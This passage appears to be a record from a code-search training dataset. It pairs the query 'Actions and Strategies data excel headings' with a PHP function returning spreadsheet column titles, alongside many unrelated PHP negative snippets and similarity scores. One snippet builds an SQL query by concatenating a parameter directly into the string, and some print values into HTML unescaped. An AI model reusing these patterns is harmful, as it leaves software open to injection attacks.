velkan-grid-column-header-sorted-\".$order[1];\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$classSortable=\"velkan-grid-column-header velkan-grid-column-header-sorted-both\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$classSortable=\"velkan-grid-column-header velkan-grid-column-header-sorted-both\";\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$thead.=\"<th {$this->id}-column-header class=\\\"$classSortable\\\" onclick=\\\"javascript:{$this->id}Reorder($fieldNumber);\\\" {$this->id}_field_number=\\\"$fieldNumber\\\">$name</th>\";\n\t\t\t\t}else{\n\t\t\t\t\t$thead.=\"<th {$this->id}-column-header>$name</th>\";\n\t\t\t\t}\n\t\t\t\t$fieldNumber++;\n\t\t\t\t$headerNumber++;\n\t\t\t}\n\t\t\t\n\t\t\t//Busca si hay columnas posteriores a agregar\n\t\t\tif(!empty($this->appendedCols)){\n\t\t\t\tforeach($this->appendedCols as $col){\n\t\t\t\t\t$thead.=\"<th>{$col[\"header\"]}</th>\";\n\t\t\t\t\t$headerNumber++;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t$thead.=\"</tr>\";\n\t\t\t\n\t\t\t//Guardamos el numero total de columnas\n\t\t\t$this->cols=$headerNumber;\n\t\t\t\n\t\t\t\n\t\t\t$tfilter=\"\";\n\t\t\t$type=\"\";\n\t\t\tif($this->headerFilterable){\n\t\t\t\t$cols=count($this->fields)-1;\n\t\t\t\t\n\t\t\t\tfor($i=0;$i<=$cols;$i++){\n\t\t\t\t\t$meClass=velkan::$config[\"datagrid\"][\"filters\"][\"inputClass\"];\n\t\t\t\t\t\n\t\t\t\t\t$type=\"\";\n\t\t\t\t\tif(!empty($this->types)){\n\t\t\t\t\t\t$type=$this->types[$i];\n\t\t\t\t\t}\n\t\t\t\t\t$value=\"\";\n\t\t\t\t\tif(!empty($this->filters)){\n\t\t\t\t\t\tforeach($this->filters as $filter){\n\t\t\t\t\t\t\tif($filter[0]==$i){\n\t\t\t\t\t\t\t\t$value=$filter[1];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$tfilter.=\"<th class='velkan-grid-column-filter'>\";\n\t\t\t\t\t\n\t\t\t\t\tswitch($type){\n\t\t\t\t\t\tcase \"date\":\n\t\t\t\t\t\t\t$input=new date_time(array(\"id\"=>\"grid{$this->id}Filter\",\"name\"=>\"grid{$this->id}Filter[]\",\"value\"=>$value,\"pickerType\"=>date_time::$DATETIME_PICKER_TYPE_DATE));\n\t\t\t\t\t\t\t$tfilter.=$input->render(true);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase \"datetime\":\n\t\t\t\t\t\t\t$input=new date_time(array(\"id\"=>\"grid{$this->id}Filter\",\"name\"=>\"grid{$this->id}Filter[]\",\"value\"=>$value,\"pickerType\"=>date_time::$DATETIME_PICKER_TYPE_DATETIME));\n\t\t\t\t\t\t\t$tfilter.=$input->render(true);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase \"time\":\n\t\t\t\t\t\t\t$input=new date_time(array(\"id\"=>\"grid{$this->id}Filter\",\"name\"=>\"grid{$this->id}Filter[]\",\"value\"=>$value,\"pickerType\"=>date_time::$DATETIME_PICKER_TYPE_TIME));\n\t\t\t\t\t\t\t$tfilter.=$input->render(true);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t$tfilter.=\"<input type='search' name='grid{$this->id}Filter[]' $type value=\\\"$value\\\">\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\t$tfilter.=\"</th>\";\n\t\t\t\t}\n\t\t\t\t$display=($this->ShowFilters?\"\":\"style='display:none'\");\n\t\t\t\t\n\t\t\t\t$filterPrepend=\"\";\n\t\t\t\tif(!empty($this->prependedCols)){\n\t\t\t\t\tforeach($this->prependedCols as $col){\n\t\t\t\t\t\t$filterPrepend.=\"<th>&nbsp;</th>\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$filterAppend=\"\";\n\t\t\t\tif(!empty($this->appendedCols)){\n\t\t\t\t\tforeach($this->appendedCols as $col){\n\t\t\t\t\t\t$filterAppend.=\"<th>&nbsp;</th>\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$tfilter=\"<tr id='grid{$this->id}Filters' $display>{$filterPrepend}{$tfilter}{$filterAppend}</tr>\";\n\t\t\t}\n\t\t\t\n\t\t\tif($type!=\"\"){\n\t\t\t\t$jss=new generalJavaScriptFunction();\n\t\t\t\t$jss->registerFunction(\"applyFormats\");\n\t\t\t}\n\t\t\t\n\t\t\t$thead.=\"$tfilter</thead>\";\n\t\t}\n\t\t\n\t\treturn $thead;\n\t}", "function get_columns() {\n\t\t$columns = [\n\t\t\t'jumlahHTTPS' => 'Jumlah Domain HTTPS',\n\t\t\t'totalDomain' => 'Total Domain', \n\t\t\t'jumlahCert' => 'Jumlah Sertifikat Aktif',\n\t\t\t'totalCert' => 'Total Sertifikat'\n\t\t];\n\n\t\treturn $columns;\n\t}", "private function populateParentInfo(&$rows) {\n $invoice_url_template = Router::assemble('invoice', array('invoice_id' => '-INVOICE-ID-'));\n \t$project_url_template = Router::assemble('project', array('project_slug' => '-PROJECT-SLUG-'));\n\n foreach($rows as &$row) {\n $row['parent'] = array(\n 'name' => lang('Unknown'),\n 'view_url' => '#',\n );\n\n $row['project'] = array(\n 'id' => 0,\n 'name' => lang('Unknown'),\n 'view_url' => '#',\n );\n\n if($row['parent_type'] == 'Invoice') {\n $parent = DB::executeFirstRow('SELECT project_id, varchar_field_1 as number FROM ' . TABLE_PREFIX . 'invoice_objects WHERE id = ?', $row['parent_id']);\n\n if($parent) {\n $row['parent']['name'] = lang(':invoice_show_as #:invoice_num', array(\n 'invoice_show_as' => Invoices::printInvoiceAs(),\n 'invoice_num' => $parent['number']\n ));\n\n $row['parent']['view_url'] = str_replace('-INVOICE-ID-', $row['parent_id'], $invoice_url_template);\n } // if\n\n if($parent['project_id']) {\n $project = DB::executeFirstRow('SELECT id, name, slug FROM ' . TABLE_PREFIX . 'projects WHERE id = ? AND state >= ?', $parent['project_id'], STATE_ARCHIVED);\n\n if($project) {\n $row['project']['id'] = (integer) $project['id'];\n $row['project']['name'] = $project['name'];\n $row['project']['view_url'] = str_replace('-PROJECT-SLUG-', $project['slug'], $project_url_template);\n } // if\n } // if\n } // if\n } // foreach\n\n unset($row); // just in case\n }", "public function headingRow(): int\n {\n return 1;\n }", "public function displaytask($plan){\n $date = date(\"Y/m/d\");\n // SQL statement\n $sql = \"SELECT * FROM task WHERE date = '\".$date.\"' AND (plan = '\".$plan.\"' OR plan = 'all') ORDER BY task_id DESC LIMIT 1\";\n $result = $this->con->query($sql);\n $result = $result->fetch_assoc();\n return Array (\n \"first_task\" => $result['first_task'],\n \"first_task_url\" => $result['first_task_url'],\n \"first_task_inst\" => $result['first_task_inst'],\n \"second_task\" => $result['second_task'],\n \"second_task_url\" => $result['second_task_url'],\n \"second_task_inst\" => $result['second_task_inst'],\n \"third_task\" => $result['third_task'],\n \"third_task_url\" => $result['third_task_url'],\n \"third_task_inst\" => $result['third_task_inst']\n );\n }", "protected function getData() {\n // Get project ids that are requested to be exported\n $projectIds = CheckboxColumnHelper::getInstance()->getSessionData();\n // If not project is selected, then restrict the access\n if(empty($projectIds)) {\n return false;\n }\n \n // Get ready project jobs for selected projects\n $projectJobs = ProjectJobB::model()->getReadyJobs($projectIds);\n // Get ready project extra services for selected projects\n $projectExtraServices = ProjectExtraServiceB::model()->getReadyServices($projectIds);\n \n // Data contains both children types merged\n $data = array();\n // Get orginied arrays for jobs and extra services\n $organizedProjectJobs = $this->getOrganizedByColumn($projectJobs, 'project_id');\n $orranizedProjectExtraServices = $this->getOrganizedByColumn($projectExtraServices, 'project_id');\n \n foreach($organizedProjectJobs as $projectId => $projectJobs) {\n // Add project jobs into the list\n $data = array_merge($data, $projectJobs);\n // If there are extra services are found for the project add\n // those under the jobs\n if(isset($orranizedProjectExtraServices[$projectId])) {\n // Add project extra services into the list\n $data = array_merge($data, $orranizedProjectExtraServices[$projectId]);\n // Unset the extra services for the project, as those that are \n // not having jobs related, will be added separately\n unset($orranizedProjectExtraServices[$projectId]);\n }\n }\n \n // Add extra services that are not related to any job to the main list\n foreach ($orranizedProjectExtraServices as $projectId => $projectExtraServices) {\n // Add missing project extra services into the list\n $data = array_merge($data, $projectExtraServices);\n }\n \n // Return data\n return $data;\n }", "public function buildHeader() {\n return [\n ['data' => t('Teaching format'), 'class' => ['align-middle']],\n ['data' => t('Event'), 'class' => ['align-middle']],\n ['data' => t('Tutor'), 'class' => ['align-middle']],\n ['data' => t('Location'), 'class' => ['align-middle']],\n ['data' => t('Room'), 'class' => ['align-middle']],\n [\n 'data' => t('Date/time'),\n 'field' => 'time.field_event_time_value',\n 'sort' => 'desc',\n 'class' => ['align-middle'],\n ],\n ['data' => t('Registration status'), 'class' => ['align-middle']],\n ];\n }", "public function listing() {\n return array(\n '#header' => array($this->t('Title'), $this->t('Description'), $this->t('Operations')),\n '#type' => 'table',\n ) + $this->listingLevel($this->paymentStatusManager->hierarchy(), 0);\n }", "function timesheetYear(&$inc, $parent, $lines, &$level, &$projectsrole, &$tasksrole, $mytask=0, $perioduser='')\n{\n\tglobal $bc, $langs;\n\tglobal $form, $projectstatic, $taskstatic;\n\tglobal $periodyear, $displaymode ;\n\n\tglobal $transfertarray;\n\n\t$lastprojectid=0;\n\t$totalcol = array();\n\t$totalline = 0;\n\t$var=true;\n\n\t$numlines=count($lines);\n\tfor ($i = 0 ; $i < $numlines ; $i++)\n\t{\n\t\tif ($parent == 0) $level = 0;\n\n\t\tif ($lines[$i]->fk_parent == $parent)\n\t\t{\n\n\t\t\t// Break on a new project\n\t\t\tif ($parent == 0 && $lines[$i]->fk_project != $lastprojectid)\n\t\t\t{\n\t\t\t\t$totalprojet = array();\n\t\t\t\t$var = !$var;\n\t\t\t\t$lastprojectid=$lines[$i]->fk_project;\n\t\t\t}\n\n\t\t\tprint \"<tr \".$bc[$var].\">\\n\";\n\t\t\t// Ref\n\t\t\tprint '<td>';\n\t\t\t$taskstatic->fetch($lines[$i]->id);\n\t\t\t$taskstatic->label=$lines[$i]->label.\" (\".dol_print_date($lines[$i]->date_start,'day').\" - \".dol_print_date($lines[$i]->date_end,'day').')'\t;\n\t\t\t//print $taskstatic->getNomUrl(1);\n\t\t\tprint $taskstatic->getNomUrl(1,($showproject?'':'withproject'));\n\t\t\tprint '</td>';\n\n\t\t\t// Progress\n\t\t\tprint '<td align=\"right\">';\n\t\t\tprint $lines[$i]->progress.'% ';\n\t\t\tprint $taskstatic->getLibStatut(3);\n\t\t\t\n\t\t\tif ($taskstatic->fk_statut == 3)\n\t\t\t\t$transfertarray[] = $lines[$i]->id;\n\n\t\t\tprint '</td>';\n\n\t\t\t$totalline = 0;\n\t\t\tfor ($month=1;$month<= 12 ;$month++)\n\t\t\t{\n\t\t\t\t$szvalue = fetchSumMonthTimeSpent($taskstatic->id, $month, $periodyear, $perioduser, $displaymode);\n\t\t\t\t$totalline+=$szvalue;\n\t\t\t\t$totalprojet[$month]+=$szvalue;\n\t\t\t\tif ($displaymode==0)\n\t\t\t\t\tprint '<td align=right>'.($szvalue ? convertSecondToTime($szvalue, 'allhourmin'):\"\").'</td>';\n\t\t\t\telse\n\t\t\t\t\tprint '<td align=right>'.($szvalue ? price($szvalue):\"\").'</td>';\n\t\t\t\t// le nom du champs c'est à la fois le jour et l'id de la tache\n\t\t\t}\n\t\t\tif ($displaymode==0)\n\t\t\t\tprint '<td align=right>'.($totalline ? convertSecondToTime($totalline, 'allhourmin'):\"\").'</td>';\n\t\t\telse\n\t\t\t\tprint '<td align=right>'.($totalline ? price($totalline):\"\").'</td>';\n\n\n\t\t\t$inc++;\n\t\t\t$level++;\n\t\t\tif ($lines[$i]->id) timesheetYear($inc, $lines[$i]->id, $lines, $level, $projectsrole, $tasksrole, $mytask, $perioduser);\n\t\t\t$level--;\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t//$level--;\n\t\t}\n\t}\n\t\n\tif ($level == 0)\n\t{\n\t\tprint \"<tr class='liste_total'>\\n\";\n\t\tprint '<td colspan=2 align=right><b>Total</b></td>';\n\t\tprint '</td>';\n\t\t$totalline = 0;\n\t\tfor ($month=1;$month<= 12 ;$month++)\n\t\t{\n\t\t\t// on affiche le total du projet\n\t\t\tif ($displaymode==0)\n\t\t\t\tprint '<td align=right>'.($totalgen[$month] ? convertSecondToTime($totalgen[$month], 'allhourmin'):\"\").'</td>';\n\t\t\telse\n\t\t\t\tprint '<td align=right>'.($totalgen[$month] ? price($totalgen[$month]):\"\").'</td>';\n\n\t\t\t$totalline+=$totalgen[$month];\n\t\t}\n\t\t// on affiche le total du projet\n\t\tif ($displaymode==0)\n\t\t\tprint '<td align=right>'.($totalline ? convertSecondToTime($totalline, 'allhourmin'):\"\").'</td>';\n\t\telse\n\t\t\tprint '<td align=right>'.($totalline ? price($totalline):\"\").'</td>';\n\n\t\tprint \"</tr>\\n\";\n\t}\n\treturn $inc;\n}" ]
[ "0.62949157", "0.6262192", "0.6022089", "0.5974569", "0.5930184", "0.58185166", "0.5769023", "0.56926715", "0.5676356", "0.5663739", "0.5660562", "0.55564487", "0.5503572", "0.5493216", "0.5460985", "0.5434713", "0.5428118", "0.5415332", "0.5395315", "0.5393272", "0.5385024", "0.5362412", "0.5349477", "0.5345437", "0.5342768", "0.52954316", "0.52933276", "0.52667093", "0.5235678", "0.5234812", "0.5234292", "0.52223605", "0.5221932", "0.5219299", "0.52189153", "0.5206415", "0.51904345", "0.51876867", "0.51861185", "0.51650167", "0.51637596", "0.5161452", "0.5146568", "0.51394534", "0.5133328", "0.51274085", "0.51228416", "0.5121726", "0.51162267", "0.50965244", "0.50880414", "0.507659", "0.50742215", "0.50688", "0.5067122", "0.5063043", "0.5054408", "0.50479615", "0.50471216", "0.50470686", "0.5045829", "0.5037534", "0.5035378", "0.50291604", "0.50240684", "0.50238454", "0.5016366", "0.5008263", "0.5008131", "0.50078475", "0.50034714", "0.50033903", "0.50029016", "0.49974668", "0.49928913", "0.49890065", "0.4983823", "0.49782118", "0.4970481", "0.4959962", "0.49575767", "0.49557865", "0.49554813", "0.49531543", "0.49523854", "0.49501756", "0.49464178", "0.49416718", "0.49392506", "0.49333146", "0.49292544", "0.49196318", "0.49186316", "0.49184328", "0.49169347", "0.49158114", "0.4910946", "0.49007502", "0.48955768", "0.48932576" ]
0.8132132
0
Actions and Strategies data excel headings
public static function excelActionsAndStrategiesHeadings() { return [ 'Strategies and Actions', 'Status', 'Responsibility', 'Industry', ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function excelMigrationHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n ];\n }", "public static function excelSummaryHeadings()\n {\n return [\n 'Industry',\n 'Survey responses',\n 'Employer',\n 'Government body',\n 'Non-government organisation',\n 'Registered training organisation',\n 'Enterprise training provider',\n 'Group training organisation',\n 'Skills service organisation',\n 'Individual',\n 'Trade union',\n 'Industry Association/Peak body',\n 'Statutory authority',\n 'Self-employed',\n 'Not for profit',\n 'School or University',\n 'Other',\n 'Small',\n 'Medium',\n 'Large'\n ];\n }", "public static function excelRecruitmentHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelStateHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Qualification type',\n 'Employer size'\n ];\n }", "public static function excelSummaryHeadingsMYSQL()\n {\n return [\n 'employer' => 'Employer',\n 'enterprise_t_p' => 'Enterprise training provider',\n 'government_body' => 'Government body',\n 'group_t_o' => 'Group training organisation',\n 'individual' => 'Individual',\n 'industry_a_p_b' => 'Industry association peak body',\n 'non_gov_body' => 'Non-government organisation',\n 'registered_t_o' => 'Registered training organisation',\n 'skills_s_o' => 'Skills service organisation',\n 'statutory_authority' => 'Statutory authority',\n 'trade_union' => 'Trade union',\n 'self_employed' => 'Self-employed',\n 'not_for_profit' => 'Not for profit',\n 'school_or_university' => 'School or University',\n ];\n }", "public static function excelSkillsHeadings()\n {\n return [\n 'Skill type',\n 'Agriculture, Forestry and Fishing',\n 'Mining',\n 'Manufacturing',\n 'Electricity, Gas, Water and Waste Services',\n 'Construction',\n 'Wholesale trade',\n 'Retail trade',\n 'Accommodation and food services',\n 'Transport, Postal and Warehousing',\n 'Information media and telecommunications',\n 'Financial and insurance services',\n 'Rental, Hiring and Real Estate Services',\n 'Professional, Scientific and Technical Services',\n 'Administrative and support services',\n 'Public administration and safety',\n 'Education and training',\n 'Health care and social assistance',\n 'Arts and recreation services',\n 'Other services',\n 'South australia'\n ];\n }", "protected function setHeaders()\n {\n $row = 1; \n $this->objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n \n $mergeCells = 'A' . $row . ':' . 'E' . $row;\n $this->setCellValue('A' . $row, \"Differences between files.\");\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getFont()->setBold(true);\n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n $this->objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Comparing by: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'C' . $row;\n $this->setCellValue('B' . $row, $this->getCompareTypeLabel()); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Configuration: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'M' . $row;\n $this->setCellValue('B' . $row, $this->settings['configuration']); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n $row += 5;\n $columns = $this->getColumns(); \n foreach ($columns as $columnName => $column) {\n $cell = $columnName . $row;\n $this->setCellValue($cell, $column['title']);\n $this->objPHPExcel->getActiveSheet()->getColumnDimension($columnName)->setAutoSize(true);\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n }\n \n return $row;\n }", "public static function excelIndustryHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Industry',\n 'Qualification type',\n// 'Employer size'\n ];\n }", "public static function excelRetentionHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "function createHourLogSheet($name, $data, &$workBook, $ambs){\n\t$file = 0;\n\t$excel = 1;\n\n\t$cols = array('Log ID', 'Date', 'Date Logged', 'Ambassador', 'Event Name', 'Hours', 'People', 'Schools', 'Experience', 'Questions', 'Would make your job better', 'Improvements you could make');\n\t$entries = array('id', 'eventDate', 'logTime', 'ambassador', 'eventName', 'hours', 'peopleInteracted', 'otherSchools', 'experience', 'questions', 'madeJobBetter', 'improvements');\n\n\t$numSemesterTours = count($data);\n\tif($excel)\n\t\t$tourSheet = & $workBook->add_worksheet($name. ' Hours');\n\tif($file)\n\t\tfwrite($f, \"\\nWorksheet: $name Tours\\n\");\n\t$numCols = count($cols);\n\n\t//Set the column widths\n\tfor($col = 0; $col < $numCols; $col++){\n\t\t$colName = $cols[$col];\n\t\t$colRef = $entries[$col];\t\n\t\t$maxWidth = getTextWidth($colName);\n\t\tif($excel)\n\t\t\t$tourSheet->write_string(0, $col, $colName);\n\t\tif($file)\n\t\t\tfwrite($f, \"Row: 0, Col: $col, $colRef: $colName, width:$maxWidth\\t\");\n\n\t\tfor($logNum = 0; $logNum < $numSemesterTours; $logNum++){\n\t\t\t$text = $data[$logNum][$colRef];\n\t\t\tif($colRef == 'ambassador')\n\t\t\t{\n\t\t\t\t$text = $ambs[\"$text\"]['name'];\n\t\t\t}\n\t\t\t$width = getTextWidth($text);\n\t\t\tif($width > $maxWidth){\n\t\t\t\t$maxWidth = $width;\n\t\t\t}\n\t\t\t/*\n\t\t\t //formats do not work at the moment\n\t\t\t if($col == 0){\n\t\t\t\t$tourSheet->set_row($logNum + 1, NULL, $formatOffset + ($tour % 2));\n\t\t\t}\n\t\t\t*/\n\t\t}\n\t\tif($file)\n\t\t\tfwrite($f, \"\\n\");\n\t\tif($excel)\n\t\t\t$tourSheet->set_column($col, $col, $maxWidth * (2.0/3.0));\n\t}\n\n\t//Now we just add all the logs to the right page\n\tfor($col = 0; $col < $numCols; $col++){\n\t\t$colRef = $entries[$col];\n\t\tfor($logNum = 0; $logNum < $numSemesterTours; $logNum++){\n\t\t\t$text = $data[$logNum][$colRef];\n\t\t\tif($colRef == 'ambassador')\n\t\t\t{\n\t\t\t\t$text = $ambs[\"$text\"]['name'];\n\t\t\t}\n if(is_numeric($text)){\n \tif ($colRef == 'hours') {\n $tourSheet->write_number($logNum + 1, $col, floatval($text));\n }\n else {\n\t\t\t\t $tourSheet->write_number($logNum + 1, $col, intval($text));\n }\n\t\t\t} else {\n\t\t\t\t$tourSheet->write_string($logNum + 1, $col, $text);\n\t\t\t}\n\t\t}\n\t}\n}", "public function headings(): array\n {\n return [\n 'Name',\n 'Department',\n 'OT Date',\n 'Shift',\n 'From',\n 'To',\n 'Total Hrs',\n 'Job Content',\n 'Results',\n 'Supervisor',\n 'Manager',\n 'Date Created',\n 'Last Update'\n ];\n }", "abstract protected function excel ();", "public static function excelSkillingSaHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Industry',\n ];\n }", "private function generateHeading()\n {\n //get current dimensions\n\t\t$highestRow = $this->objWorksheet->getHighestRow(); // e.g. 10\n\t\t$highestColumn = $this->objWorksheet->getHighestColumn(); // e.g 'F'\n\n\t\t$highestColumnIndex = PHPExcel_Cell::columnIndexFromString($highestColumn);\n\n\t\t//insert row on top\n\t\t$this->objWorksheet->insertNewRowBefore(1,2);\n\n\t\t//merge cells\n\t\t$this->objWorksheet->mergeCells(\"A1:\".$highestColumn.\"1\");\n\n\t\t//set the text for header\n\t\t$this->objWorksheet->setCellValue(\"A1\", $this->_headingText);\n\t\t$this->objWorksheet->getStyle('A1')->getAlignment()->setWrapText(true);\n\t\t$this->objWorksheet->getRowDimension('1')->setRowHeight(48);\n\n //Apply style\n\t\t$this->objWorksheet->getStyle(\"A1\")->applyFromArray($this->_headingStyleArray);\n }", "public function report_data_college()\n{\n\n$user = $this->Muser->report_data_college();\n\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','I') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIM')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'JURUSAN')\n->setCellValue('E1', 'ANGKATAN')\n->setCellValue('F1', 'EMAIL')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'NO TELEPON')\n->setCellValue('I1', 'STATUS')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nim)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->prodi)\n->setCellValue('E'.$i, $data->generation)\n->setCellValue('F'.$i, $data->email)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->no_telp)\n->setCellValue('i'.$i, $data->status_user)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data Mahasiswa '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data Mahasiswa.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "public static function excelSkillsHeadingsMYSQL()\n {\n return [\n 'skills' => 'Skill type',\n 'agriculture' => 'Agriculture forestry and fishing',\n 'mining' => 'Mining',\n 'manufacturing' => 'Manufacturing',\n 'electricity' => 'Electricity gas water and waste services',\n 'construction' => 'Construction',\n 'w_trade' => 'Wholesale trade',\n 'r_trade' => 'Retail trade',\n 'accommodation' => 'Accommodation and food services',\n 'transport' => 'Transport postal and warehousing',\n 'ict' => 'Information media and telecommunications',\n 'financial' => 'Financial and insurance services',\n 'r_estate' => 'Rental hiring and real estate services',\n 'professional' => 'Professional scientific and technical services',\n 'admin' => 'Administrative and support services',\n 'public' => 'Public administration and safety',\n 'education' => 'Education and training',\n 'health' => 'Health care and social assistance',\n 'arts' => 'Arts and recreation services',\n 'o_services' => 'Other services',\n 'sa_state' => 'South australia'\n ];\n }", "public function on_export_render_title_row() {\n\n\t\t$export_headers = array(\n\t\t\t'info' => __( 'Google Sheets Info', Forminator::DOMAIN ),\n\t\t);\n\n\t\t$quiz_id = $this->quiz;\n\t\t$quiz_settings_instance = $this->quiz_settings_instance;\n\n\t\t/**\n\t\t * Filter Google Sheets headers on export file\n\t\t *\n\t\t * @since 1.6.2\n\t\t *\n\t\t * @param array $export_headers headers to be displayed on export file\n\t\t * @param int $quiz_id current Quiz ID\n\t\t * @param Forminator_Addon_Googlesheet_Quiz_Settings $quiz_settings_instance Google Sheets Addon Quiz Settings instance\n\t\t */\n\t\t$export_headers = apply_filters(\n\t\t\t'forminator_addon_quiz_googlesheet_export_headers',\n\t\t\t$export_headers,\n\t\t\t$quiz_id,\n\t\t\t$quiz_settings_instance\n\t\t);\n\n\t\treturn $export_headers;\n\t}", "public static function excelSkillDemandHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelPlansAndProjectsHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Region',\n 'Industry',\n ];\n }", "public function horometersExcel(){ \n return Excel::download(new HorometersExport, 'horometros-list-'.date('Y-m-d_H:i:s').'.xlsx');\n }", "public function setExportDetailsXLS(&$worksheet, $startrow, $active_id, $pass, &$format_title, &$format_bold)\n\t{\n\t\tinclude_once (\"./Services/Excel/classes/class.ilExcelUtils.php\");\n\t\t$solutions = $this->getSolutionValues($active_id, $pass);\n\t\t$worksheet->writeString($startrow, 0, ilExcelUtils::_convert_text($this->lng->txt($this->getQuestionType())), $format_title);\n\t\t$worksheet->writeString($startrow, 1, ilExcelUtils::_convert_text($this->getTitle()), $format_title);\n\t\t$i = 1;\n\t\tforeach ($solutions as $solution)\n\t\t{\n\t\t\t$worksheet->write($startrow + $i, 0, ilExcelUtils::_convert_text($solution[\"value1\"]));\n\t\t\t$i++;\n\t\t}\n\t\treturn $startrow + $i + 1;\n\t}", "public function headings(): array\n {\n return [\n 'Part Number',\n 'Description',\n 'Quantity',\n 'Date Received',\n// 'Month',\n// 'Year',\n 'Invoice Number',\n 'Vendor',\n 'Unit Price',\n 'Total Price',\n 'Location',\n 'Received By',\n ];\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow, $COM_LEVEL_SALP;\n\n\t\t$worksheet->set_column(0, 0, 6);\n\t\t$worksheet->set_column(1, 1, 20);\n\t\t$worksheet->set_column(2, 2, 25);\n\t\t$worksheet->set_column(3, 3, 50);\n\t\t$worksheet->set_column(4, 4, 15);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 15);\n\t\t$worksheet->set_column(7, 7, 15);\n\t\t$worksheet->set_column(8, 8, 35);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"เลขประจำตัวประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"ชื่อ-นามสกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ตำแหน่ง/สังกัด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 